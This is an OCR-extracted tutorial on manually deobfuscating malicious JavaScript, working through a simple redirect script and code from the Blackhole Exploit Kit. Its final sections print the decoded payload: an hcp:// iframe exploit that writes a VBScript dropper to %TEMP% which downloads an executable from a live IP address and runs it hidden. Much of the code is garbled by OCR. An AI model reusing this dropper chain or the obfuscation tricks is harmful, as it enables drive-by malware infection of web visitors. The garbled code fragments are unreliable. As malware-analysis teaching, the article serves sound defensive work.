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Preface

JavaScript Obfuscation has been used as a means to bypass Antivirus Engines for several years. With a
rise in the number of Browser Exploits, the focus on detecting malicious JavaScript used in Web Pages
has increased. This causes attackers to push the envelope of JS Obfuscation.

This article will cover the concepts and techniques used in Obfuscating JS. A Manual Approach is
presented which will help in reversing advanced obfuscations used in the latest Exploits as well.

The purpose is to show the advantages of a Manual Approach over automated JS Unpackers.

The reader is also introduced to Obfuscation features present in an Exploitation Framework, MSF.
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Reasons for JavaScript Obfuscation

Primary reason is to obfuscate the source code to such an extent that it's close to impossible to
deobfuscate or reverse engineer it. This helps in preventing Intellectual Property Theft.

There are several obfuscating tools which also condense the code and speed up the time taken to load
the code in browser.

They can be used to get rid of unused and repetitive code.

From a Security Perspective, an obfuscated JavaScript has the ability to bypass Antivirus Detections. It
also makes the process of understanding the purpose of the code difficult.

Javascript Minifiers vs Obfuscators

There are plenty of online tools available that give the option of making a JavaScript difficult to read.
However, the main purpose of a Minifier is to make the code lightweight by removing unused parts of
code and replacing characters with alternatives to reduce the time taken to load this code in browser.

A simple example is, JSMin by Douglas Crockford. This tool reduces the size of JS code by almost half by
performing following operations:

e Replace carriage returns by line feeds.

e Replace runs of spaces by a single space, runs of new line characters by a single linefeed.
e Replace comments with line feeds.

e Replace /**/ with spaces.

As can be seen, it doesn't focus on encoding strings, replacing local variable names and other techniques
which are used by an obfuscator.
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Methods of JavaScript Obfuscation
There are several methods which are used to obfuscate a piece of code written in JavaScript. In order to
understand this better, | will take as an example a few obfuscated JavaScript codes.

The tricks used can vary from easy and common ones which can be handled by an online JS Unpacker
such as jsunpack.jeek.org to really complex tricks which are outside the scope of an online JS Unpacker.

Instead of documenting all the tricks used at once in bulk here, | will document them in 3 different
sections with increasing difficulty.
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Basic JavaScript Obfuscation

In the first section we discuss a really easy obfuscated JavaScript. Consider this as a warm up session
while you grasp the common concepts used in JS Obfuscation. Please note that this obfuscated JS can
easily be unpacked using an online JS Unpacker as stated before, however the ability to manually
deobfuscate this code will help us in understanding more advanced methods better.

So, let us get started.

At first the obfuscated code looks as shown below:

<sCript types"text/javascript”»var NMeZID='krkelIplIaMcNIe' .replace(/[kI¥M]/g,'' )it (' EfoJC! =="'J1EhQIO" jmxvwGejD () it (' kKPJV'=='TIhtXg') lcEiM () ;var
DubWtR='ufIrIIowmCShlaruCuoSdle' [NMeID] (/[Ius]/ /g, ' ') ;if (' swmiIcCyy'=="'zLdfsRt') YPCwkLEL (] ;var tisuw;var
HxIyzd='gpSaddrisgelondt' [NMeZD] (/ [Sgdo] /g, ' ') ivar QpUL=64;var Jzgxgh=98;var
iRNyfP='DapDlGipeUe! [MMeZD] (/ [DURG] Ag, ' ') if (' wiBStaT' =='JfHpM' ) IMkYoay () ;var LMPEx='hLeLvhaul' [NMeZD] (/[ulh]/g,' ') ;var wlj¥kU='LeTYW' ;var

PFLOFIn=Z2Z;var dTuwLJgC=59;var m3IAd='"';var VwfR3IfE=40;wvar EBRCp;wvar

This is not readable. So, we place a new line character after every semicolon and do a bit of formatting
so that it looks more readable as shown below:

<script type="text/javascript":
var NMeZD='krkelplIaMcMIe' .replace (f[kKITM] fo,''):

if('EZfoJC=="J1EhQJIO")
mxveejDhi() »;

if (' KPJIV'=='IbtXg')
1eEiM{) ;

var DubWtR='ufIrITouwmmCihIaruCuoidle’ [NMeZD] (/[Iu3] g, " ') :

if (' swhZCuy!
TPCwKLE () ;

=lzLdfsRt')

var tisuw;

var Hxlyed='gpSaddrSsgelon3t' [NMeZD] (/[3gdo] /g, ''):
war QpUL=64;

war Jzgxgh=938;

wvar iBENyfP='DspDlGipcTe! [NMeZD] (/[DUpG]Ag, ') :
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Now a few observations to understand the methods used by the malicious user to obfuscate the code:
Trick 1: Declaring a lot of variables which are never used.

Example:

var tZsuw;

var QpUL=64;

var Jzgxgh=98;

These are placed in, only to create confusion. They can be deleted.

Trick 2: Evaluating False Conditions in an IF statement and calling an undefined function from within.

Example:

if('ZfolC'=="JIEhQJQ') // False Condition
mxvGejD(); // This function is never defined and used.

Such IF statements can be deleted as well.
Trick 3: Use of long variable names such as, “NMeZD"”, “Hxlyzd” is again used only to deter the analysis.
All the above tricks are used repeatedly to make the code unreadable.

After removing all this from our code, we have a better looking code with us which looks like shown
below:

<3cript type="text/javascript':

wvar NMezZD='krkelplIalcMIe' . .replace(/ [KITM] g, ')

wvar DubWeR='ufIrIIowmC3hIaruCua3dle! [NHeZD] (f [Iud] g, '
var HxIyzd='gpSaddrSsgelonst!' [NMeZD] (f [Sgdo] fo, ')

var iRMNyfP='DspDlGipcle' [MMeZD] (/[DUpG] Ao, ' ')

wvar 1MFRx='hLeLwvhaul' [NMeZD] {/[ulLh]/g,''):

var pGIL='bilbchlOcibab:bhol7bhSbchlaeclbibebhbhSa74bh5clclbds77ePchectbfheolbaYhbhfc27c74!

var Eszjoi=(function() {return this::) ():
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Encoded JavaScript Function Names:

The code makes use of various JavaScript functions to decode the encoded string. These function names
are again obfuscated. | will make use of Web Console in FireFox to quickly decode these function names.

Example:
var NMeZD="krkelpllaMcMle'.replace(/[kIYM]/g,");

Here the variable, NMeZD will hold the function name. The code makes use of replace function to
decode the function name. This can be automated using FireFox’s Web Console as shown below:

x [l Met 'II £S5 - [ Web Developer ']

< var NMeID='krkeIplIa¥cMIe'.replace(/[kIY¥]/g,"");
44 B¢ undefined
5758 B4 alert(NMeID)

» alert(NMeID)

replace

So, now we know it holds the string “replace”.

This is again used to retrieve another function name string as shown below:

var DubWtR="uflrlloumuCShlaruCuoSdle'[NMezD](/[IuS]/g,");

We replace “NMeZD” above with “replace” and again evaluate it using the Web Console as shown
below:
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b4 [I Tt Yll 55 "Ii 15 Yll ‘Web Developer ~

Soco7 a5 B var DubltR="ufIrIIoumuCShIaruCuosdIe [ "replace” i /[Ius]/g, "' );

7 00 B » undefined
Acsocld.17a B4 alert (DublitR)

> alert(DubltR)

fromCharCodle

So, we get, “fromCharCode” as the next function name string. In this way, we can proceed to evaluate
all the function names used in the code. Once done, the code looks as shown below:

<gacript type="text/JjavascripttTs

NMeZD='replace':
var DubhWtR='fromCharCode!' ;
var HxIyzd='parseInt':
war 1RNyEP='slice';

var 1MFRx='ewval';:;
hICiX='constructor':

Retrieving the Global Object:

A Global Object for a Browser is the window. This is also known as a window leak. To retrieve this, the
code uses following section:

var KsjQS=(function(){return this;})();

the function here does nothing other than leaking the global object, window into the variable name,
”KSJ.QS".

Retrieving the String Function Handle:

var oMYN='lhDxPv'[‘constructor’];

This was a nice trick used in this code. Again, it can be understood better using the Web Console:
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x [l et 'll 255 *II J5 'll Web Developer =

Ll ovar oMYN="IhDxPv'[ "constructor”];
15,665 B e undefined
0015 TES B alert (oMYI)

> alert(a¥vll)

function String() §
[rative code]

¥

Decoding Stage:
The encoded string is stored in the variable, pGIL.

var pGlL="b1bcb0c2bab2bbcl17bb9bcb0aeclbbbcbb8a74b5c1c1bd877c7cbccbbfbecclb67bbfc27c74'; //
Length of this string is 74

This is the main goal of the code, to decode this string and execute it. We will see how it does that.
It uses the following For Loop to do that:

for (mJvk=0;mJvk<pGIL.length;mlvk+=2)

{
rVCkG=KsjQS[Hxlyzd](pGIL[iRNyfP](mJvk,mlvk+2),16)-77;
mSIAd+=0MYN[DubW?1tR](rVCkG);

}

We can make this much more readable by replacing all the variable names with their corresponding
function name strings. Along with this, | will also replace the variable names, “mJvk”, “rVCkG” and
“mSIAd” with “a”,”b” and “c” respectively.
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Once done, the code looks as shown below:
for (a=0;a<pGIL.length;a+=2)

{
b=window([parselnt](pGlL[slicel(a,a+2),16)-77;
c+=String[fromCharCode](b);

}

It iterates over the characters of the encoded string using a FOR Loop and decodes them using
String.fromCharCode.

Once done, it will decode to: document.location= http://oyroti.ru/

This code is used to redirect the browser to the site, http://oyroti.ru/
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Blackhole Exploit Kit

Now, having understood the easy concepts, let's dive a little deeper into complex codes that easily
bypass AV and are also not handled by online JS Unpackers. We have only one option left with us, to
unpack it manually.

As an example, | have taken the Obfuscated JavaScript used in Blackhole Exploit kit. This code uses some
nice new undocumented tricks.

At first, | will list down some of the tricks used:

1. As usual, to deter the reverse engineer, the readability is made difficult by using long variable names,
removing the formatting like new line characters. Nothing new here.

2. Some try{} and catch{} sequences are used. This concept remains same across various programming
languages. You try to execute some code in the try{} section and if an exception is thrown, it will be
handled by the exception handler coded in the catch{} section.

We will look in more depth, how our code uses this.

3. Excessive use of ternary operator to form strings in concatenation.

4. A few IF statements which always evaluate to true are added as a prefix or suffix to code sections.

5. Now comes the important one. Use of DOM Tricks to decode the HTML code in the page. A big chunk
of obfuscated code is wrapped around with <div/> tags. The obfuscated JavaScript will be used to
decode this.

6. If you start reading the code from the top, you might be tempted to spend some time and try to
understand the obfuscated code between <div/> tags. However, this is what the attacker wants. Instead

of spending time in trying to understand this code, we should always take a complete glance over the
code and see where it is used. As we will see later, it is decoded in a FOR loop.
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Here is the original obfuscated code:

<htm]=<hodys<spansz</spanz<stylesdiv{display:none; T« /styles<scriptsm=functiongl{z+=0q; }; z=new string(d; < scripts>
<div>$$$var iframe$guiframe
src$ " TH#IIMTEDBCpSHHS ervi cesHsear ch&amp; gueryfanything?topichhcpsHHs ystemHsys infoHsys infomainGhtmé&gt; (&gt ; &gt ; (&gt ; &gt; (&OT; &g
T3 (&0t &0t ; (&or; &ot; (&or; &gt; (&0t; &0t ; (&0T; &0t ; (&gt &gr; (&gt; &Ot; (&OT; &Ot; (&0t &0t; (&OU; &ot; (&or; &0t ; (&ot; &gt ; (&or; &ot; (&gr; &
gr; C&gt; &gty (&gr; &gr; (&gt &gr; (Sot; &gt; (&gt; &gty (&gt; &or; (&gr; &gt; (&gt; &gt; (&ot; &gt; (&gt; &ot; (&gt; &gt; (&gt;&gr; (&gt; &gt; (&gt
&gt; (&gt; &gt; (&gt &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt
;&gt; (&gti&gt; (&gt; &gr; (&gt; &gr; (&at; &gt; (&gr; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt; &gt; (&gt;&gtr; (&gt; &gt; (&gt; &gt; (&gt;&at; (&g
&gt (&ot; &gt (&gt &gt (&gt &gt (&ot; &gt; (&gt &gt (&gt &gt (&ot; &gt; (&gt &gt (&gt &gt (&ot; &gt; (&gt &gt (&gt &gt (&gt &gt; (&
ot ; &gt ; (&gt ; &gr; (&gr; &gt; (&gr; &ot; (&gt; &Ot; (&OU; &Ot; (&Ot; &at; (&0t; &gt ; (&gt; &or; (&gr; &gt; (&Ot; &ut; (&qr; &gt; (&gt; &gt; (&gt; &gt;
&gt;&gt;(&gt;&gt;(&gt;&ﬁt;(&?t;&gt;(&gt;&gt;(&gt;&gt;(&gt;&?t;(&gt;&gt;(GG&gt;N*GG&gt;N*sysinfomainGhtm&gt;uIILFsvr$U@D@scrip
t defer¥ounasg@omd Ho echo -1TeSame | T7#CMPIT;, 4 77#0MPIT i TeGexe Be7#OMPIT; , 4 77#0MPIT bgoGa7s] ] echo
ur 1! bttt pSHHORGIRMG IR KGKKRHgGphp £ T ! PRMNA 7 LW %%?#QMPIT;,4??#QMPIT}?DGE?S]]EChD et ohisi? !
“reatefhjecta'd ixd3KGHA3 5 7 BRRETEOMPIT; , 47 PHOMPIT FgoGa7s ] Jecho *all obi/; ; 7GEpena’ ., ; "E urlE
-3 seB¥ETH#OMPIT; , 47 7#C0MPIT fgoag7s]]echo objl67 (EE7#OMPIT; , 4 77#0MPIT tgoEg7s]]echo set ortream !
createobjecta’ (dodbG:tream’ EXE #OMPIT; , 4 77#0OMPIT Fgocgrs]]echo ¥onst ad;ypelinary | 1 Ex7#OMPIT; 4 77#0MPIT ;gosgrs]]echo onst
ad:ave¥reatedverwrite | K EXTH#OMPIT, ,477#0MPIT tgoSgrs]]echo *onst ad:ave%reatesSot,xist ! 1 ®%T#OMPIT;,477#0MPIT fgocg?s]]echao
ortreamatype | oadi;ypelinary ¥EP#GMPIT; , 4 77#0MPIT Fogosgrs]]echo ortreamsopen ¥XE7THOMPIT; , 4 77#0MPIT hgosgrs ] ]echo ortreamGwrite
obi /s PEresponselody BT #OMPIT; , 47 P#OMPIT FgoGa7s] Jecho oitreamssavetofile —-ileSameE ad:ave®reateiot, xist
FRTEOMPIT; , 47 7HOMPIT fgoGa7s]]echo ortreamGc]os ek #0MPIT; , 4 77#0OMPIT FgoGa7s]]echo set o:tream ! nothing
HETHOMPIT; , 47 7H#0OMPIT tgosg7ys]]echo et xml | Sothing %%7#QMPIT; ,d477#0MPIT tgocg7s]]echo et wshihell |
*reatefbjecta'wicriptc:hell'B %%?#QMPIT;,47?#QMPIT?EDGg?s]]echD wsh:hellGGun —ilesameE IE ;rue
EHETEOMPIT; , 47 7#0MPIT fgocg7s]]Jecho et —:6 | ¥reatesbjecta’ rcriptings-ilerystemébhject ' B BETH#OMPIT; , 47 7#0MPIT tgocgis]]echo
—i1Gatelete—ile ' PHOMPIT;,d477H#OMPIT Fooavhs’ %%?#QMPIT;,4??#QMPIT}gDG??s|cscript THEOMPIT; , 4 7740MPIT Fgocg7 s%nu] Bsreplacead  HOE
rtringsfrom¥harvodeAatIBBGreplacead HYE tringsfrom¥*har*odeslMBESrepTaceaH]HOE tringGfrom¥har*odesl 0BBGreplacesH] HOE
rtringsfrom¥harvodeaclBBGreplaceadlss (HOE tringafrom¥har *odesPKEQMEGMEQIEMOESLEITIIEIIIEIIIBEGrep]acesHy7sHOE
rtringGfrom*har*odeAl JQERQEIINBEGreplaceAHHOE tringGfrom*har “odesrRKBBGr eplaceAHT#OMPITHGE
rtringsfrom*har*odeal PEEETUHS cripti ' ®@Tdocumentowr iteaiframeBT < divr<script>
tryfmath. 10705 Fcatchgwow {fr="T"+"r"+"c"+"m"+"C"; +
ch="charc";
zz=window;
dd=zz[{{1)7"doc" " "I+ "ument "] [M"getelem "+ ({127 "entsB " " "I+ "yTaguame" ] "div"];
p="prototype";
tryf{Boolean(falsel[p]. google; Fcatchivhl{e=zz["e'+'v'+ a1 ' ]; fr+=(fri7 "ha"+"rCode" :""; ch+=(fr)¥"odeat" :"";r="replace";
n="nerHTML" ;
for(i=5—3—2;i<dd[“1ength”];i++j{

A Ceimdd AT " +"n"+n] ["subst"+"r"1(300;

1

ifCed{

z=z.replace(/&1t; /g, "<");
z=z.replace( &gt; /g, "="J;
1f(e&&fr)z=z[r?(i&amp;/g,(e)?“&“:”“);

After taking a quick glance at the entire code, we observe that the obfuscated JS is placed right after the
<div/> tags in the HTML page.

We will start here.

The above mentioned tricks shall be better understood with the examples of snippets from the code:
Trick 1: You just need to look at the code and this point shall become evident :)

Trick 2: try{Math.lol();}catch(qwgw){fr="f"+"r"+"0"+"m"+"C";}

Adding new line characters to make it more readable. | have also added the necessary comments.
try

{
Math.lol(); /* lol() is an invalid library undefined in Math Class */

}

catch(gwgw) /* The code above throws an exception which triggers the code in catch() block */

{
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fr="f"+"r"+"0"+"m"+"C"; /* Basic String Concatenation, "fromC" is the result

}

As is the case with most obfuscated JS, one trick is repeated several times. So, following the same
approach we clear up the remaining code.

Trick 3:

try{Boolean(false)[p].google;}catch(vb){e=zz['e'+'v'+'al'];fr+=(fr)?"ha"+"rCode":"";ch+=(fr)?"odeAt":"";r=
replace";}

Make it more readable:

try

{

Boolean(false)[p].google; /* invalid code, throws an exception which triggers code in catch() block */
}

catch(vb)

{

e=zz['e'+'v'+'al']; /* Basic String Concatenation */

fr+=(fr)?"ha"+"rCode":"";

ch+=(fr)?"odeAt":"";

r="replace";

}
fr+=(fr)?"ha"+"rCode":"";

Since, fr was already set before to "fromC", this condition evaluates to true. So, whatever is before the

colon (":") character is the result of this ternary operation.

fr=fr+"ha" + "rCode"
fr = "fromCharCode"

Trick 4:

if(e) /* e was set to the string, "eval" as seen in Step 3 */
{

z=z.replace(/&lt;/g,"<");

z=z.replace(/&sgt;/g,">");

if(e&&fr) /* both e and fr are set in the code before */
z=z[r](/&amp;/g,(e)?"&":"");

}
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Effectively, this code reduces to the following after applying the tricks mentioned above:
z=z.replace(/&lt;/g,"<");
z=z.replace(/&gt;/g,">");
z=z.replace(/&amp;/g,"&");
Trick 5:
zz=window;
dd=zz[((1)?"doc":"")+"ument"]["getElem"+((1)?"entsB":"")+"yTagName"]("div");
n="nerHTML";
for(i=5-3-2;i<dd["length"];i++)
{

if(e)

m(dd[i][llill+llnll+n][llsubstll+llr||](3));
dd=zz[((1)?"doc":"")+"ument"]["getElem"+((1)?"entsB":"")+"yTagName"]("div");
reduces to,

dd=window["document"]["getElementsByTagName"]("div");

This will return an array of all the div elements present in the HTML page. The collection of <div/> tags is
stored in the variable dd.

In our case, there is only one <div/> tag present in the web page.
So, dd["length"] =1

The for loop reduces to,

for(i=0;i<1;i++)

{
m(dd[i]["innerHTML]["substr"](3));

This for loop runs only once.

dd[0]["innerHTML]["substr"](3) will strip out the first 3 characters from the HTML code present between
the <div/> tags. These first 3 characters are, "$$S".
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This indicates that our code, inserts invalid HTML character strings in the code, interspersing them
between valid code. During the decoding phase, it gets rid of these invalid HTML Character Strings.

At the end of this for loop, the entire obfuscated code with the first 3 chars stripped out is stored in the
String Object Variable, z.

This trick is the reason; online JS unpackers are unable to deobfuscate the code.

Trick 6:

We will analyze the FOR loop which is used to decode the obfuscated innerHTML of <div/> tag.

_un,
=

for(i=0;i+5-4-1<=2227;i++) {

if(i-2227==0){qg=s;e(q); }else{

c=z["su"+"bstr"](i,1);

h=c[ch](0);

if((h>=36)&&(h<61)){
c=st(h+25);

}else if ((h>=61)&&(h<86)) {
c=st(-25+h);

}

s=s.concat(c);

}

This reduces to,

for(i=0;i+5-4-1<=2227;i++)

{
if(i-2227==0)
{
g=s;
e(q);
}
else
{

c=z["substr"](i,1);
h=c.charCodeAt(0);
if((h>=36)&&(h<61))
{
c=String.fromCharCode(h+25);
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}

else
if (h>=61)&&(h<86))
{
c=String.fromCharCode(-25+h);
}

s=s.concat(c);

After reading the code of the FOR loop, it is evident that it decodes the obfuscated innerHTML using
ASCIl Manipulation.

Below is the sequence:

Run a FOR loop for the entire length of the innerHTML between <div/> tags.

Pick one character at a time.

Retrieve its ASCII value.

Check if its ASCII value falls within the range, 36 to 61. If it does, then add 25 to the ASCII value

and save the corresponding ASCII character in a variable.

5. Check if ASCII Value falls within the range, 61 to 86. If it does, then subtract 25 from the ASCII
value and save the corresponding ASCII character in a variable.

6. Concatenate this to the result and keep repeating the loop till the entire length of innerHTML is
traversed.

7. During the last step of the loop, use eval() to execute the code.

A

Now, that we have an understanding of the FOR loop, we can proceed with the decoding. However,
considering the size of the obfuscated code, doing it manually is not efficient.

| will instead create a new HTML Document, using only the required code from the original malicious

web page.

Our purpose here is to see, what the obfuscated chunk of code decodes to.
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Here is the code,

<html>
<title>Deobfuscation</title>
<script type="text/javascript">

var z="var iframeS@Uiframe srcS"?......"; /* Place the entire obfuscated code present between the
<div/> tags with the first 3 characters stripped out here */

=

for(i=0;i<=2227;i++)

{
c=z.substr(i,1);
h=c.charCodeAt(0);
if((h>=36)&8&(h<61))
{
c=String.fromCharCode(h+25);
}
else
if (h>=61)&&(h<86))
{
c=String.fromCharCode(-25+h);
}
s=s.concat(c);
}
alert(s);
</script>
</html>

Save this as an HTML page and open it with your browser. The deobfuscated code is shown in the alert
pop up box.
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[JawvaScript Application] @

' war iframe="<iframe src="8# 104;'+'cp://services/search?guery=anything&topic=hcp: /{system

. JavsinFof sy sinFonnain, RErm o S e e e % o s %o e a i % o B e e A e Sa A% S A Y YA S Yo d Y
ot o o o S S oy S B S oy o B S o o o o o o o S o e e Yo B e T B e S
o e T P i P o S 0 P o T S o S P S P T B T T B S T S B T S B T B B T T A S
o e o = S S S0 S S0 S S S e S e S e T A T T A e S S B T S D S B B S S A
o o o o S o oDy S B S Dy S o B o o o o A o o A o e o e A e Ha M e o B e o
o e T P O P o T 0 T e % T o T e T B P T T T T T T B T e B T B B T T A S
el A% YR, 38T, FeSCsysinfomain, htm%eul0sfsvr=<'+'script defer =Run(l'crd fc echo
FileMame | @a&#5470; TEMPEASS70; Hile, exe@ > =24 5470; TEMP&#5470; hgo.gPs]Jecho
urlli@http: /69, 194,192,229/, php{f I 7245082 15@ = =484 70; TEMPRAE470; -g0.gPs]]echo Set
objHTTR | CreateObject(@MAEMLE  SMLHTTR@ ) = =84 584 70; TEMPE#E470; hgo.gPs]]echo Call
objHTTP. Open{@GET@, url, False) > >&#8470; TEMP&RE470; lgo.gPs]]echo
objIOPA = =&45470; TEMPRAE4 70; oo, aP's [Jecho set oSkream !
createobject{@adodb, Streami@) = =284 70; TEMPR#5470; bao.gPs]Jecho Const adTypeBinary | 1
=@t 70; TEMP2#8470; bgo.gPs]]Jecho Const adSaveCreateCveriiirite | 2
= =RA0470; TEMPR#G470; oo, gPs]]echo Const adSaveCreateMotExisk 1 1
=@t 70; TEMPE#5470; bgo,gPs]]echo oStream, bype | adTypeBinarsy
= =8¥0470; TEMPRAE470; oo, gPs]]echa oStream,open =>2#8470; TEMPR#3470; ao.qPs]]echa
oStream. write obiHTTP. responseBody = =8#84 70; TEMP&AE470; koo, gPs]]echo oStream. savetofile
FileMame, adSaveCreatefotExist »>&#5470; TEMPaR5470; go.gPs]]echo
oStream.close = =&#5470; TEMPR£3470; Foo, aPs]]echo set oStream | nothing
= =RA0470; TEMPRAG470; oo, gPs]]echo Set xml ! Mathing
= =8 5470; TEMPR#E470; -go.gPs]]echo Set Wshshell | CreateCbjeck{@w Script. Shellia)
= =RA0470; TEMPRAG470; Yoo, gPs]]echo Wishshell.Run FileMame, 0, True
=@ 70; TEMPE#5470; bgo.gPs]]echo Set F30 | CreateCbject{@3Scripting. FileSystemObjecta)
= =8¥0470; TEMPRAE470; oo, gPs]]echa FSO. DeleteFile @484 70; TEMPEAE470; oo, vhs@
= xEA0470; TEMPRAGET0; oo, gP s | cscriph 845470, TEMPRAS470; oo, gPs =nult’ . replaced) g,
String. FromCharCodel&1 ). replacel fi@q, String.FromCharCode(34). replace(/]/g,
skring. FromCharCode( 3300, replaced [{/a, String.fromCharCodela3 ). replaced/10PA[T,
skring.FromCharCodel( 72, 84, 54, 80,46,83, 101, 110, 100)), replace faPs/q,
String. FromCharCodel 118,98, 1153} replace(/tfa, String.FromCharCode(92)). replace]/2#8470; /g,
Skring. FromCharCodel 3700, < fscript =" =';document, writeliframe];

Copy and paste the contents of the above popup box in another file. This need not be in HTML format.

We have another layer of obfuscation here. The same tricks which were learnt in the previous approach
can be applied here.

However, once again we need to take a complete glance at the code.

Trick 1:

Use of various types of Encoding:

&#104;, &#8470;, %u003f are some instances.

We can replace them by converting to corresponding unicode characters, however we shall do it later.

Trick 2:

Page

19



CreateObject(@MSXML2 XMLHTTP@)>>&#8470; TEMP&#8470;}g0.gPs
echo Set xml ! Nothing >>&#8470;TEMP&#8470;

A lot of special characters like "@", "}", "1" are placed in specific positions but the meaning is not clear.
If we keep tracing the code till the end, we find a set of replace functions used.

The entire obfuscated code has a sequence of replace functions added at the end as shown below:

wvar dframe='<iframe
sr V&L 4+ cpr S services Ssear chYguery=anything&t opi

Cpl A S ystems sy

infossysinfomai

AL ESCL L BSCsysinfomain, htmeu003fsvr=<'+ scr1pt deferzrun(y'cmd fc echo Filename !

BEHFSAT0; TEMP&#E4T0; Hile. exe@:>>&#84 70; TEMP&#E470; Jgo. gPs]lecho urll@http: //69.194.192, 229/, php{f! 724 5d&e! 5@

>>&#84?0 TEMP&#84?O tgo.gps]lecho set ohjHTTR ! Createob]ectC@MSXMLZ HMLHTTPED > >&#84 7 0; TEMP&#E4 70; rgo. gPs]]echo Call

Db]HTTP.Open(@GET@, url, Falsel>=&¥8470; TEMP&#E470; tgo. gPs]]echo Db]JOPA>>&#84?O;TEMP&#84?O;}go.gPs Jecho set ostream !

createobject(@Adodb.Stream@)>>&#84?0;TEMP&#84?O;}go.gPs?jecho Const adTypeBinary | 1 >=&#8470; TEMP&#B470; tgo. gPs]]echo Const

adsavelreatedverwrite | 2 »>&#B470; TEMP&#E470; Tgo.gPs]lecho Const adSavelreateNotExist | 1 »>&#B470; TEMPE&#E470; Tgo. gPs]]echD

ostream. type ! adTypeB1nary >>&#84?0 TEMP&#84?0 Yoo, gps]lecho ostream. open »»&#58470; TEMPE&#E4F0; Too. gPs]]echD ostream.write

obIHTTP. responseBDdy>>&#84?0 TEMP&#84?O too. gPs]]echD ostream. savetofile Filemwame, idsaveCreat eNOTEX] 5T

>>&#84 705 TEMP&#E4 703 Tgo. gPs]]echD ostream. close>>&#84 70; TEMP&#B470; tgo. gPs]]echo set ostream ! nothing

>>&#84?0;TEMP&#84?0;}gD.gPs]]echD set xml ! Mothin >>&#84?0;TEMP&#84?0;}gD.gPs]]echU set wshshell !

Createohject (Bwscript.shell@) =>>&#8470; TEMP&H#EL 70, ? o.grPs]]echa wshshell.Run FileMame, 0, True

>>&#84?0 TEMP&#84?O }go gPs]]echo set Fso ! Createo ject(@scr1pt1ng F11esystemobject@) >>&#84?0 TEMP&#84?O Jgo. gPs]]ec?ﬁ y
Delete l_ . l ] o l-l-' ] cel/! /g,

. 1 @, O. ep , g- e

Str1ng Fromcharcode(&B)j rep1aceC/JOPA/g, String. fromcharcode(?z 54,84,80,46,83,101,110,10007. repTaceC/gPs/g,

string. fromcharcode(118,98,1157). repTace(/}/g string. Frumcharcode(gzj) repTaceC/&#Bd?O A,

Str1ng.FrDmCharCDdeCE?))j;</scr1pt> ="y document.write(iframe);

Let us evaluate these expressions one by one,

e replace(/!/g, String.fromCharCode(61)) -> replace "!" with "="

e replace(/@/g, String.fromCharCode(34)) -> replace "@" with """

e replace(/]/g, String.fromCharCode(38)) -> replace "]" with "&"

e replace(/{/g, String.fromCharCode(63)) -> replace "{" with "?"

e replace(/JOPA/g, String.fromCharCode(72,84,84,80,46,83,101,110,100)) -> replace "JOPA" with
"HTTP.Send"

e replace(/gPs/g, String.fromCharCode(118,98,115)) -> replace "gPs" with "vbs"

e replace(/}/g, String.fromCharCode(92)) -> replace "}" with "\"

e replace(/&#8470;/g, String.fromCharCode(37)) -> replace "&#8470;" with "%"

Now it should be clear why | did not replace "&#8470;" with its HTML Decoding in step 1. That would
have given us a different result.
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Once we apply the above replace functions to the entire obfuscated code, we get:

war iframe='<iframe
sro="&#104; '+ 'cp: frservices fsearch?guery=anything&topic=hcp: //system/sysinfo/sysinfomain. htm

A..%SC..%SCS sinfomain. htmxuoosfsvr=<'+ scr1pt defer>runy' cnd fc echo Filename "HTEMPENTITe. exe" »>¥TEMPHhgo. vbs&&echo
url="http: /59,194,192, 229Jq ghp’F 724 50&e=5" >>%TEMP% \go.vhs&&echo set ob]HTTP =
P'

Createch]ect ("MS=MLZ . #MLHTT =>ETEMPENQo. vbs&facha Call ohjHTTR. oEen( GET url, Falsel»>%TEMP%S\go.vhsédeacho

objHTTP. Send>>%TEMP¥Ygo. vbs&&echo set oStream = createcbject ("aAdodb. Stream’ )>>%TEMP%\gD vhs&&echo Const adTypeB1nary
>ETEMPXENQo. vbs&&echo Const adSaveCreatedverwrite = 2 >>XETEMPE\go.vhs&&echo Const adSaveCreatenotExist =

>>ETEMPENQO. vhs&&echo oStream. type = adTypeBinary >>%TEMP%\gD.VEs&&echD ostream.open >>%TEMPENDO. vbs&&echo oStream.write
obIHTTP. responseBody > >¥TEMPE Q0. vhs&&echo ostream. savetofile Filename, adsavecCreateMotExist ==%TEMPEN\Qo.vbs&&echo

oStream. closesx>XTEMPE g0, vhs&&echo set ostream = nothing >>XTEMPE\go.vhs&&echo Set xml = Nothing =>¥TEMPE.\go.vbs&&echo Set
wshshell = Createohject ("wscript.shell") >>XTEMPY%hgo.wbs&Recho wshshell.Run Filename, 0, True >>¥TEMPX\go.vbs&&echo Set FsSO =
Createchject("scripting. Filesystemobject”) =»%TEMPE\go.vhs&&echo F3o.Deleterile "%TEMPENgo.vhs" »>»%TEMPENgo.vhs|oscript
ETEMPE gD, vhs=nuly' < /script>">"; daocument.write(iframel;

It takes a little bit of observation now to conclude that a sequence of commands are being echo'ed into
a VB Script file in the location, %TEMP%\go.vbs using the redirection operator (">>

war 1Frame- <iframe
&0 5 !

tAfservices fsearch?query=anything&topic=hcp: //system/sysinfo/sysinfomain. htm

; ] il als! shame = STEMPSM 00, whs&&acho
H <5 —?245-&9 5 0. vhsi&acho Sat DIJHTTP =
reateob]ect( MSXMLZ . XMLHTTE" §>>%TEMP%\g0 vhs&&echo Ca1 Db]HTTP OEen( GET url, False)>>¥TEMPXNgo.vhséd&echo

objHTTP. Send>>%TEMPE go. vhsd&eacho set oStream = createobject(’adod Stream“)>>%TEMP%\gD.vbs&&echo const adTypeBinary =

> XTEMPREN QO . vhs&&echo Const adSaveCreateoverwrite = 2 >>XTEMPE\QO.vbs&&echo Const adSaveCreatenotExist = 1
-HTEMPREY Qo vhbs&&echo oStream. type = adTypeBinary >>¥TEMPXh\go.vbs&&echo oStream.open >>XETEMPENgo.vhsd&echo oStream.write
objHTTP. responseBody>>¥TEMPE go. vbs&&echo ostream. savetofile Filename, adSaveCreateNotExist »>>ETEMPX\go.vhs&&echo

ostream, closex>¥TEMPE\QO, vhs&&echo set ostream = nothing =>%TEMPX\Go.vhs&&echo set xml = Nothing »>%TEMPXN\go.vhs&&echo set
shshell = Createob]ect( wscript. shell") ==XTEMPXN\go.vbs&&echo wshshell. run Filename, 0, True >>XTEMPXhgo.wbs&&echo Set FSO =
reatechiect ("scripting. Filasystemobiect ) >=%TEMPENw g0, vhs&&acho Fso.Deleterile "%TEMPX\qo.vhs" ->%TEMPE\go.vhs|cscript

